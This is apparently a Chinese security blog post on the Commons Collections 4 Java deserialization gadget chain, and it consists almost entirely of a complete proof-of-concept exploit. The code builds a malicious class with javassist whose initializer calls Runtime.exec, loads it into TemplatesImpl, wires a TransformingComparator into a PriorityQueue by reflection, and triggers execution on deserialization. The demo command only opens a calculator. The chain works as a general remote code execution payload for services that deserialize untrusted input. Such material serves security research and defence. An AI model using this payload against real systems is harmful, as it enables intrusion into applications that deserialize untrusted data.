Java安全之Commons Collections4分析
2022-06-04 23:07:35
# Java安全
#cc链
前言
在构造CC4链时,看POC可以看出就是把CC2 和CC3的链进行了拼接
POC
根据TransformingComparator
利用链完成调用。
直接给出最终的反序列化 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| package cc4;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.PriorityQueue;
public class CC4 { public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("evilClass"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] evilClassBytes = cc.toBytecode(); byte[][] evilByteCodes = new byte[][]{evilClassBytes};
TemplatesImpl templatesImpl = new TemplatesImpl(); Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes"); Field _name = templatesImpl.getClass().getDeclaredField("_name"); _bytecodes.setAccessible(true); _name.setAccessible(true); _name.set(templatesImpl, "test"); _bytecodes.set(templatesImpl, evilByteCodes);
Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templatesImpl} ) };
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(transformerChain); PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(2);
Field comparator = queue.getClass().getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(queue, transformingComparator);
ByteArrayOutputStream b1 = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(b1); out.writeObject(queue); out.close(); b1.close();
System.out.println(b1.toString());
ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray()); ObjectInputStream in = new ObjectInputStream(b2); in.readObject(); in.close(); b2.close(); } }
|
分析过程就不写了,和之前的链是一样的分析过程,只是触发调用 transformerChain.transform()
方法采用的是另外一种方法,即TransformingComparator.compare()
。
反序列化时弹出计算器
参考
https://blog.csdn.net/hongduilanjun/article/details/123491483
https://www.cnblogs.com/nice0e3/p/14032604.html